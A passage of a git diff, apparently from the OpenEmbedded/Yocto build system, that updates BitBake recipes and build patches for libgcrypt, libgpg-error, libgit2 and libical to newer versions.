-+++ libgcrypt-1.8.5/configure.ac
-@@ -45,7 +45,7 @@ m4_define([mym4_revision_dec],
- m4_define([mym4_betastring],
- m4_esyscmd_s([git describe --match 'libgcrypt-[0-9].*[0-9]' --long|\
- awk -F- '$3!=0{print"-beta"$3}']))
--m4_define([mym4_isgit],m4_if(mym4_betastring,[],[no],[yes]))
-+m4_define([mym4_isgit],[no])
- m4_define([mym4_full_version],[mym4_version[]mym4_betastring])
-
- AC_INIT([libgcrypt],[mym4_full_version],[http://bugs.gnupg.org])
-@@ -2575,7 +2575,7 @@ AM_CONDITIONAL([BUILD_DOC], [test "x$bui
- #
- # Provide information about the build.
- #
--BUILD_REVISION="mym4_revision"
-+BUILD_REVISION="None"
- AC_SUBST(BUILD_REVISION)
- AC_DEFINE_UNQUOTED(BUILD_REVISION, "$BUILD_REVISION",
- [GIT commit id revision used to build this package])
diff --git a/meta/recipes-support/libgcrypt/libgcrypt_1.8.7.bb b/meta/recipes-support/libgcrypt/libgcrypt_1.8.7.bb
deleted file mode 100644
index 0cad41dfa9..0000000000
--- a/meta/recipes-support/libgcrypt/libgcrypt_1.8.7.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "General purpose cryptographic library based on the code from GnuPG"
-HOMEPAGE = "http://directory.fsf.org/project/libgcrypt/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-SECTION = "libs"
-
-# helper program gcryptrnd and getrandom are under GPL, rest LGPL
-LICENSE = "GPLv2+ & LGPLv2.1+ & GPLv3+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-dev = "GPLv2+ & LGPLv2.1+"
-LICENSE_dumpsexp-dev = "GPLv3+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYING.LIB;md5=bbb461211a33b134d42ed5ee802b37ff \
- file://LICENSES;md5=840e3bcb754e5046ffeda7619034cbd8"
-
-DEPENDS = "libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libgcrypt/libgcrypt-${PV}.tar.bz2 \
- file://0001-libgcrypt-fix-m4-file-for-oe-core.patch \
- file://0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch \
- file://0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch \
- file://0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch \
- file://0001-Prefetch-GCM-look-up-tables.patch \
- file://0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch \
- file://0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch \
- file://determinism.patch \
-"
-SRC_URI[sha256sum] = "03b70f028299561b7034b8966d7dd77ef16ed139c43440925fe8782561974748"
-
-BINCONFIG = "${bindir}/libgcrypt-config"
-
-inherit autotools texinfo binconfig-disabled pkgconfig
-
-EXTRA_OECONF = "--disable-asm"
-EXTRA_OEMAKE_class-target = "LIBTOOLFLAGS='--tag=CC'"
-
-PACKAGECONFIG ??= "capabilities"
-PACKAGECONFIG[capabilities] = "--with-capabilities,--without-capabilities,libcap"
-
-do_configure_prepend () {
- # Else this could be used in preference to the one in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
-}
-
-# libgcrypt.pc is added locally and thus installed here
-do_install_append() {
- install -d ${D}/${libdir}/pkgconfig
- install -m 0644 ${B}/src/libgcrypt.pc ${D}/${libdir}/pkgconfig/
-}
-
-PACKAGES =+ "dumpsexp-dev"
-
-FILES_${PN}-dev += "${bindir}/hmac256"
-FILES_dumpsexp-dev += "${bindir}/dumpsexp"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb b/meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb
new file mode 100644
index 0000000000..4bc1dd8512
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb
@@ -0,0 +1,61 @@
+SUMMARY = "General purpose cryptographic library based on the code from GnuPG"
+DESCRIPTION = "A cryptography library developed as a separated module of GnuPG. \
+It can also be used independently of GnuPG, but depends on its error-reporting \
+library Libgpg-error."
+HOMEPAGE = "http://directory.fsf.org/project/libgcrypt/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+SECTION = "libs"
+
+# helper program gcryptrnd and getrandom are under GPL, rest LGPL
+LICENSE = "GPLv2+ & LGPLv2.1+ & GPLv3+"
+LICENSE:${PN} = "LGPLv2.1+"
+LICENSE:${PN}-dev = "GPLv2+ & LGPLv2.1+"
+LICENSE:dumpsexp-dev = "GPLv3+"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://COPYING.LIB;md5=bbb461211a33b134d42ed5ee802b37ff \
+ file://LICENSES;md5=42fa35a25e138166cc40588387f9159d \
+ "
+
+DEPENDS = "libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libgcrypt/libgcrypt-${PV}.tar.bz2 \
+ file://0001-libgcrypt-fix-m4-file-for-oe-core.patch \
+ file://0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch \
+ file://0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch \
+ file://0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch \
+ file://0001-Makefile.am-add-a-missing-space.patch \
+ "
+SRC_URI[sha256sum] = "ea849c83a72454e3ed4267697e8ca03390aee972ab421e7df69dfe42b65caaf7"
+
+# Below whitelisted CVEs are disputed and not affecting crypto libraries for any distro.
+CVE_CHECK_WHITELIST += "CVE-2018-12433 CVE-2018-12438"
+
+BINCONFIG = "${bindir}/libgcrypt-config"
+
+inherit autotools texinfo binconfig-disabled pkgconfig
+
+EXTRA_OECONF = "--disable-asm"
+EXTRA_OEMAKE:class-target = "LIBTOOLFLAGS='--tag=CC'"
+
+PACKAGECONFIG ??= "capabilities"
+PACKAGECONFIG[capabilities] = "--with-capabilities,--without-capabilities,libcap"
+
+do_configure:prepend () {
+ # Else this could be used in preference to the one in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+}
+
+# libgcrypt.pc is added locally and thus installed here
+do_install:append() {
+ install -d ${D}/${libdir}/pkgconfig
+ install -m 0644 ${B}/src/libgcrypt.pc ${D}/${libdir}/pkgconfig/
+}
+
+PACKAGES =+ "dumpsexp-dev"
+
+FILES:${PN}-dev += "${bindir}/hmac256"
+FILES:dumpsexp-dev += "${bindir}/dumpsexp"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgit2/libgit2_1.3.0.bb b/meta/recipes-support/libgit2/libgit2_1.3.0.bb
new file mode 100644
index 0000000000..de913c780d
--- /dev/null
+++ b/meta/recipes-support/libgit2/libgit2_1.3.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "the Git linkable library"
+HOMEPAGE = "http://libgit2.github.com/"
+LICENSE = "GPL-2.0-with-GCC-exception & MIT & openssl"
+LIC_FILES_CHKSUM = "file://COPYING;md5=73fa96e40ce64f79bab087c7e1deeacd"
+
+DEPENDS = "curl openssl zlib libssh2 libgcrypt libpcre2"
+
+SRC_URI = "git://github.com/libgit2/libgit2.git;branch=main;protocol=https"
+SRCREV = "b7bad55e4bb0a285b073ba5e02b01d3f522fc95d"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+EXTRA_OECMAKE = "\
+ -DBUILD_CLAR=OFF \
+ -DCMAKE_BUILD_TYPE=RelWithDebInfo \
+ -DLIB_INSTALL_DIR=${libdir} \
+ -DREGEX_BACKEND='pcre2' \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/0001-configure.ac-do-not-hardcode-gnu-libc-when-generatin.patch b/meta/recipes-support/libgpg-error/libgpg-error/0001-configure.ac-do-not-hardcode-gnu-libc-when-generatin.patch
new file mode 100644
index 0000000000..ef7a7df1b8
--- /dev/null
+++ b/meta/recipes-support/libgpg-error/libgpg-error/0001-configure.ac-do-not-hardcode-gnu-libc-when-generatin.patch
@@ -0,0 +1,27 @@
+From 7437acb228678ea5d8288b930b4f5b72c3d449ed Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 24 May 2021 11:03:42 +0200
+Subject: [PATCH] configure.ac: do not hardcode gnu libc when generating
+ lock-obj
+
+This erroneously excluded e.g. musl libc.
+
+Upstream-Status: Submitted [by email to gniibe@fsij.org,gnupg-devel@gnupg.org]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index c0aab53..6d46d13 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -603,7 +603,7 @@ if test x"$gl_use_threads" = xno; then
+ AC_MSG_NOTICE([generated src/lock-obj-pub.native.h for $host])
+ elif test x$cross_compiling = xyes; then
+ case $host in
+- *-*-linux-gnu*)
++ *-*-linux-*)
+ AC_CHECK_TOOL(OBJDUMP, [objdump])
+ if test -n "$OBJDUMP"; then
+ lock_obj_h_generated=yes
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch b/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
index ca5f6b5c25..6b9b623b54 100644
--- a/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
+++ b/meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch
@@ -1,9 +1,9 @@
-From ec309e20b5a27d42a5fb915c328d61e924ab5f19 Mon Sep 17 00:00:00 2001
+From 52aae746760ce5b88e61ce994f5055e4ce809821 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Thu, 29 Mar 2018 15:12:17 +0800
Subject: [PATCH] support pkgconfig
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [gnupg upstream will not take this, it has been tried with other components]
Rebase to 1.28
@@ -11,18 +11,17 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
Refactored for 1.33
Signed-off-by: Armin Kuster <akuster808@gmail.com>
+Signed-off-by: Zheng Ruoqin <zhengrq.fnst@cn.fujitsu.com>
---
- configure.ac | 1 +
- src/gpg-error.m4 | 71 +++--------------------------------------------------
- 4 files changed, 18 insertions(+), 69 deletions(-)
- create mode 100644 src/gpg-error.pc.in
+ src/gpg-error.m4 | 160 +----------------------------------------------
+ 1 file changed, 3 insertions(+), 157 deletions(-)
-Index: libgpg-error-1.33/src/gpg-error.m4
-===================================================================
---- libgpg-error-1.33.orig/src/gpg-error.m4
-+++ libgpg-error-1.33/src/gpg-error.m4
-@@ -26,139 +26,13 @@ dnl is added to the gpg_config_script_wa
+diff --git a/src/gpg-error.m4 b/src/gpg-error.m4
+index 56a5d07..28920ae 100644
+--- a/src/gpg-error.m4
++++ b/src/gpg-error.m4
+@@ -27,157 +27,12 @@ dnl is added to the gpg_config_script_warn variable.
dnl
AC_DEFUN([AM_PATH_GPG_ERROR],
[ AC_REQUIRE([AC_CANONICAL_HOST])
@@ -31,12 +30,10 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- dnl since that is consistent with how our three siblings use the directory/
- dnl package name in --with-$dir_name-prefix=PFX.
- AC_ARG_WITH(libgpg-error-prefix,
-- AC_HELP_STRING([--with-libgpg-error-prefix=PFX],
+- AS_HELP_STRING([--with-libgpg-error-prefix=PFX],
- [prefix where GPG Error is installed (optional)]),
- [gpg_error_config_prefix="$withval"])
-+ min_gpg_error_version=ifelse([$1], ,0.0,$1)
-+ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version], [ok=yes], [ok=no])
-
+-
- dnl Accept --with-gpg-error-prefix and make it work the same as
- dnl --with-libgpg-error-prefix above, for backwards compatibility,
- dnl but do not document this old, inconsistently-named option.
@@ -66,45 +63,79 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- min_gpg_error_version=ifelse([$1], ,1.33,$1)
- ok=no
-
-- if test "$prefix" = NONE ; then
-- prefix_option_expanded=/usr/local
-- else
-- prefix_option_expanded="$prefix"
-- fi
-- if test "$exec_prefix" = NONE ; then
-- exec_prefix_option_expanded=$prefix_option_expanded
-- else
-- exec_prefix_option_expanded=$(prefix=$prefix_option_expanded eval echo $exec_prefix)
-- fi
-- libdir_option_expanded=$(prefix=$prefix_option_expanded exec_prefix=$exec_prefix_option_expanded eval echo $libdir)
+- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no, [$prefix/bin:$PATH])
+- if test "$GPGRT_CONFIG" != "no"; then
+- # Determine gpgrt_libdir
+- #
+- # Get the prefix of gpgrt-config assuming it's something like:
+- # <PREFIX>/bin/gpgrt-config
+- gpgrt_prefix=${GPGRT_CONFIG%/*/*}
+- possible_libdir1=${gpgrt_prefix}/lib
+- # Determine by using system libdir-format with CC, it's like:
+- # Normal style: /usr/lib
+- # GNU cross style: /usr/<triplet>/lib
+- # Debian style: /usr/lib/<multiarch-name>
+- # Fedora/openSUSE style: /usr/lib, /usr/lib32 or /usr/lib64
+- # It is assumed that CC is specified to the one of host on cross build.
+- if libdir_candidates=$(${CC:-cc} -print-search-dirs | \
+- sed -n -e "/^libraries/{s/libraries: =//;s/:/\\
+-/g;p;}"); then
+- # From the output of -print-search-dirs, select valid pkgconfig dirs.
+- libdir_candidates=$(for dir in $libdir_candidates; do
+- if p=$(cd $dir 2>/dev/null && pwd); then
+- test -d "$p/pkgconfig" && echo $p;
+- fi
+- done)
-
-- if test -f $libdir_option_expanded/pkgconfig/gpg-error.pc; then
-- gpgrt_libdir=$libdir_option_expanded
-- else
-- if crt1_path=$(${CC:-cc} -print-file-name=crt1.o 2>/dev/null); then
-- if possible_libdir=$(cd ${crt1_path%/*} && pwd 2>/dev/null); then
-- if test -f $possible_libdir/pkgconfig/gpg-error.pc; then
-- gpgrt_libdir=$possible_libdir
+- for possible_libdir0 in $libdir_candidates; do
+- # possible_libdir0:
+- # Fallback candidate, the one of system-installed (by $CC)
+- # (/usr/<triplet>/lib, /usr/lib/<multiarch-name> or /usr/lib32)
+- # possible_libdir1:
+- # Another candidate, user-locally-installed
+- # (<gpgrt_prefix>/lib)
+- # possible_libdir2
+- # Most preferred
+- # (<gpgrt_prefix>/<triplet>/lib,
+- # <gpgrt_prefix>/lib/<multiarch-name> or <gpgrt_prefix>/lib32)
+- if test "${possible_libdir0##*/}" = "lib"; then
+- possible_prefix0=${possible_libdir0%/lib}
+- possible_prefix0_triplet=${possible_prefix0##*/}
+- if test -z "$possible_prefix0_triplet"; then
+- continue
+- fi
+- possible_libdir2=${gpgrt_prefix}/$possible_prefix0_triplet/lib
+- else
+- possible_prefix0=${possible_libdir0%%/lib*}
+- possible_libdir2=${gpgrt_prefix}${possible_libdir0#$possible_prefix0}
+- fi
+- if test -f ${possible_libdir2}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir2}
+- elif test -f ${possible_libdir1}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir1}
+- elif test -f ${possible_libdir0}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir0}
- fi
-- fi
+- if test -n "$gpgrt_libdir"; then break; fi
+- done
+- else
+- # When we cannot determine system libdir-format, use this:
+- gpgrt_libdir=${possible_libdir1}
- fi
+- else
+- unset GPGRT_CONFIG
- fi
-
-- if test "$GPG_ERROR_CONFIG" = "no" -a -n "$gpgrt_libdir"; then
-- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no)
-- if test "$GPGRT_CONFIG" = "no"; then
-- unset GPGRT_CONFIG
+- if test -n "$gpgrt_libdir"; then
+- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
+- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
+- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
+- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
- else
-- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
-- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
-- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
-- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
-- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
-- else
-- unset GPGRT_CONFIG
-- fi
+- unset GPGRT_CONFIG
- fi
-- else
+- elif test "$GPG_ERROR_CONFIG" != "no"; then
- gpg_error_config_version=`$GPG_ERROR_CONFIG --version`
- fi
- if test "$GPG_ERROR_CONFIG" != "no"; then
@@ -125,24 +156,10 @@ Index: libgpg-error-1.33/src/gpg-error.m4
- fi
- fi
- fi
-- if test -z "$GPGRT_CONFIG" -a -n "$gpgrt_libdir"; then
-- if test "$major" -gt 1 -o "$major" -eq 1 -a "$minor" -ge 33; then
-- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no)
-- if test "$GPGRT_CONFIG" = "no"; then
-- unset GPGRT_CONFIG
-- else
-- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
-- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
-- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
-- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
-- else
-- unset GPGRT_CONFIG
-- fi
-- fi
-- fi
-- fi
- fi
- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
++ min_gpg_error_version=ifelse([$1], ,0.0,$1)
++ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version], [ok=yes], [ok=no])
if test $ok = yes; then
- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG --cflags`
- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG --libs`
@@ -165,7 +182,7 @@ Index: libgpg-error-1.33/src/gpg-error.m4
fi
if test x"$gpg_error_config_host" != xnone ; then
if test x"$gpg_error_config_host" != x"$host" ; then
-@@ -174,15 +48,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
+@@ -193,15 +48,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
fi
fi
else
diff --git a/meta/recipes-support/libgpg-error/libgpg-error_1.39.bb b/meta/recipes-support/libgpg-error/libgpg-error_1.39.bb
deleted file mode 100644
index f53056f5c9..0000000000
--- a/meta/recipes-support/libgpg-error/libgpg-error_1.39.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Small library that defines common error values for all GnuPG components"
-HOMEPAGE = "http://www.gnupg.org/related_software/libgpg-error/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://src/gpg-error.h.in;beginline=2;endline=18;md5=d82591bc81561f617da71e00ff4a9d79 \
- file://src/init.c;beginline=2;endline=17;md5=f01cdfcf747af5380590cfd9bbfeaaf7 \
- "
-
-
-SECTION = "libs"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libgpg-error/libgpg-error-${PV}.tar.bz2 \
- file://pkgconfig.patch \
- file://0001-Do-not-fail-when-testing-config-scripts.patch \
- "
-
-SRC_URI[sha256sum] = "4a836edcae592094ef1c5a4834908f44986ab2b82e0824a0344b49df8cdb298f"
-
-BINCONFIG = "${bindir}/gpg-error-config"
-
-inherit autotools binconfig-disabled pkgconfig gettext multilib_header multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/gpgrt-config"
-
-CPPFLAGS += "-P"
-
-do_install_append() {
- # we don't have common lisp in OE
- rm -rf "${D}${datadir}/common-lisp/"
- oe_multilib_header gpg-error.h gpgrt.h
-}
-
-FILES_${PN}-dev += "${bindir}/gpg-error"
-FILES_${PN}-doc += "${datadir}/libgpg-error/errorref.txt"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgpg-error/libgpg-error_1.43.bb b/meta/recipes-support/libgpg-error/libgpg-error_1.43.bb
new file mode 100644
index 0000000000..fe3824b8e0
--- /dev/null
+++ b/meta/recipes-support/libgpg-error/libgpg-error_1.43.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Small library that defines common error values for all GnuPG components"
+DESCRIPTION = "Contains common error codes and error handling functions used by GnuPG, Libgcrypt, GPGME and more packages. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libgpg-error/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPLv2+ & LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://src/gpg-error.h.in;beginline=2;endline=18;md5=d82591bc81561f617da71e00ff4a9d79 \
+ file://src/init.c;beginline=2;endline=17;md5=f01cdfcf747af5380590cfd9bbfeaaf7 \
+ "
+
+
+SECTION = "libs"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libgpg-error/libgpg-error-${PV}.tar.bz2 \
+ file://pkgconfig.patch \
+ file://0001-Do-not-fail-when-testing-config-scripts.patch \
+ file://0001-configure.ac-do-not-hardcode-gnu-libc-when-generatin.patch \
+ "
+
+SRC_URI[sha256sum] = "a9ab83ca7acc442a5bd846a75b920285ff79bdb4e3d34aa382be88ed2c3aebaf"
+
+BINCONFIG = "${bindir}/gpg-error-config"
+
+inherit autotools binconfig-disabled pkgconfig gettext multilib_header multilib_script
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/gpgrt-config"
+
+CPPFLAGS += "-P"
+
+do_install:append() {
+ # we don't have common lisp in OE
+ rm -rf "${D}${datadir}/common-lisp/"
+ oe_multilib_header gpg-error.h gpgrt.h
+}
+
+FILES:${PN}-dev += "${bindir}/gpg-error"
+FILES:${PN}-doc += "${datadir}/libgpg-error/errorref.txt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libical/libical/0001-Fix-build-with-icu-68.1.patch b/meta/recipes-support/libical/libical/0001-Fix-build-with-icu-68.1.patch
deleted file mode 100644
index 79e1475c6c..0000000000
--- a/meta/recipes-support/libical/libical/0001-Fix-build-with-icu-68.1.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From 52d603212173d4502800bf746436a93f806a8898 Mon Sep 17 00:00:00 2001
-From: Allen Winter <allen.winter@kdab.com>
-Date: Sat, 31 Oct 2020 17:38:01 -0400
-Subject: [PATCH] Fix build with icu-68.1
-
-Use stdbool.h to define true and false when possible
-
-Issue#448
----
- ConfigureChecks.cmake | 1 +
- config.h.cmake | 3 +++
- src/libical/icalrecur.c | 10 ++++++++--
- 3 files changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/ConfigureChecks.cmake b/ConfigureChecks.cmake
-index e4d0e2ec..bba33fa9 100644
---- a/ConfigureChecks.cmake
-+++ b/ConfigureChecks.cmake
-@@ -10,6 +10,7 @@ check_include_files(sys/utsname.h HAVE_SYS_UTSNAME_H)
- check_include_files(fcntl.h HAVE_FCNTL_H)
- check_include_files(unistd.h HAVE_UNISTD_H)
- check_include_files(wctype.h HAVE_WCTYPE_H)
-+check_include_files(stdbool.h HAVE_STDBOOL_H)
-
- include(CheckFunctionExists)
- if(WIN32 AND MSVC)
-diff --git a/config.h.cmake b/config.h.cmake
-index 8fd3421b..c8008692 100644
---- a/config.h.cmake
-+++ b/config.h.cmake
-@@ -39,6 +39,9 @@
- /* Define to 1 if you have the <dirent.h> header file. */
- #cmakedefine HAVE_DIRENT_H 1
-
-+/* Define to 1 if you have the <stdbool.h> header file. */
-+#cmakedefine HAVE_STDBOOL_H 1
-+
- /* Define if we have pthread. */
- #cmakedefine HAVE_PTHREAD_ATTR_GET_NP 1
- #cmakedefine HAVE_PTHREAD_GETATTR_NP 1
-diff --git a/src/libical/icalrecur.c b/src/libical/icalrecur.c
-index 73178450..b3f054b8 100644
---- a/src/libical/icalrecur.c
-+++ b/src/libical/icalrecur.c
-@@ -145,6 +145,12 @@
- #if defined(HAVE_LIBICU)
- #include <unicode/ucal.h>
- #include <unicode/ustring.h>
-+#if defined(HAVE_STDBOOL_H)
-+#include <stdbool.h>
-+#else
-+#define false 0
-+#define true 1
-+#endif
- #define RSCALE_IS_SUPPORTED 1
- #else
- #define RSCALE_IS_SUPPORTED 0
-@@ -1018,7 +1024,7 @@ icalarray *icalrecurrencetype_rscale_supported_calendars(void)
-
- calendars = icalarray_new(sizeof(const char **), 20);
-
-- en = ucal_getKeywordValuesForLocale("calendar", NULL, FALSE, &status);
-+ en = ucal_getKeywordValuesForLocale("calendar", NULL, false, &status);
- while ((cal = uenum_next(en, NULL, &status))) {
- cal = icalmemory_tmp_copy(cal);
- icalarray_append(calendars, &cal);
-@@ -1411,7 +1417,7 @@ static int initialize_rscale(icalrecur_iterator *impl)
- }
-
- /* Check if specified calendar is supported */
-- en = ucal_getKeywordValuesForLocale("calendar", NULL, FALSE, &status);
-+ en = ucal_getKeywordValuesForLocale("calendar", NULL, false, &status);
- while ((cal = uenum_next(en, NULL, &status))) {
- if (!strcmp(cal, rule.rscale)) {
- is_hebrew = !strcmp(rule.rscale, "hebrew");
---
-2.25.1
-
diff --git a/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch b/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch
deleted file mode 100644
index b7b757d74b..0000000000
--- a/meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From e33bc310238bba1690f2c71ad333e10b9e422ea9 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
-Date: Sat, 19 Oct 2019 14:23:06 +0200
-Subject: [PATCH] Use our hand-build native src-generator
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
----
- src/libical-glib/CMakeLists.txt | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/libical-glib/CMakeLists.txt b/src/libical-glib/CMakeLists.txt
-index f3704e6..ce9db16 100644
---- a/src/libical-glib/CMakeLists.txt
-+++ b/src/libical-glib/CMakeLists.txt
-@@ -63,8 +63,8 @@ endforeach()
-
- add_custom_command (
- OUTPUT ${LIBICAL_GLIB_SOURCES} ${CMAKE_CURRENT_BINARY_DIR}/libical-glib-private.h ${CMAKE_CURRENT_BINARY_DIR}/i-cal-forward-declarations.h
-- COMMAND ${EXECUTABLE_OUTPUT_PATH}/src-generator "${CMAKE_CURRENT_SOURCE_DIR}/tools" "${CMAKE_CURRENT_SOURCE_DIR}/api"
-- DEPENDS ${EXECUTABLE_OUTPUT_PATH}/src-generator ${xml_files}
-+ COMMAND ${CMAKE_BINARY_DIR}/src-generator "${CMAKE_CURRENT_SOURCE_DIR}/tools" "${CMAKE_CURRENT_SOURCE_DIR}/api"
-+ DEPENDS ${CMAKE_BINARY_DIR}/src-generator ${xml_files}
- )
-
- configure_file(
---
-2.21.0
-
diff --git a/meta/recipes-support/libical/libical_3.0.12.bb b/meta/recipes-support/libical/libical_3.0.12.bb
new file mode 100644
index 0000000000..b2b2211b9b
--- /dev/null
+++ b/meta/recipes-support/libical/libical_3.0.12.bb
@@ -0,0 +1,48 @@
+SUMMARY = "iCal and scheduling (RFC 2445, 2446, 2447) library"
+DESCRIPTION = "An Open Source implementation of the iCalendar protocols \
+and protocol data units. The iCalendar specification describes how \
+calendar clients can communicate with calendar servers so users can store \
+their calendar data and arrange meetings with other users. "
+HOMEPAGE = "https://github.com/libical/libical"
+BUGTRACKER = "https://github.com/libical/libical/issues"
+LICENSE = "LGPLv2.1 | MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1910a2a76ddf6a9ba369182494170d87 \
+ file://LICENSE.LGPL21.txt;md5=933adb561f159e7c3da079536f0ed871 \
+ file://LICENSE.MPL2.txt;md5=f75d2927d3c1ed2414ef72048f5ad640 \
+ "
+SECTION = "libs"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.gz"
+SRC_URI[sha256sum] = "35095a4cc1a061a3de0f332c2dc728226cf127fa0baa818e9f8856cee6d35830"
+UPSTREAM_CHECK_URI = "https://github.com/libical/libical/releases"
+
+inherit cmake pkgconfig
+
+DEPENDS += "libical-native"
+
+PACKAGECONFIG ??= "icu glib"
+PACKAGECONFIG[bdb] = ",-DCMAKE_DISABLE_FIND_PACKAGE_BDB=True,db"
+PACKAGECONFIG[glib] = "-DICAL_GLIB=True,-DICAL_GLIB=False,glib-2.0-native libxml2-native glib-2.0 libxml2"
+# ICU is used for RSCALE (RFC7529) support
+PACKAGECONFIG[icu] = ",-DCMAKE_DISABLE_FIND_PACKAGE_ICU=True,icu"
+
+# No need to use perl-native, the host perl is sufficient.
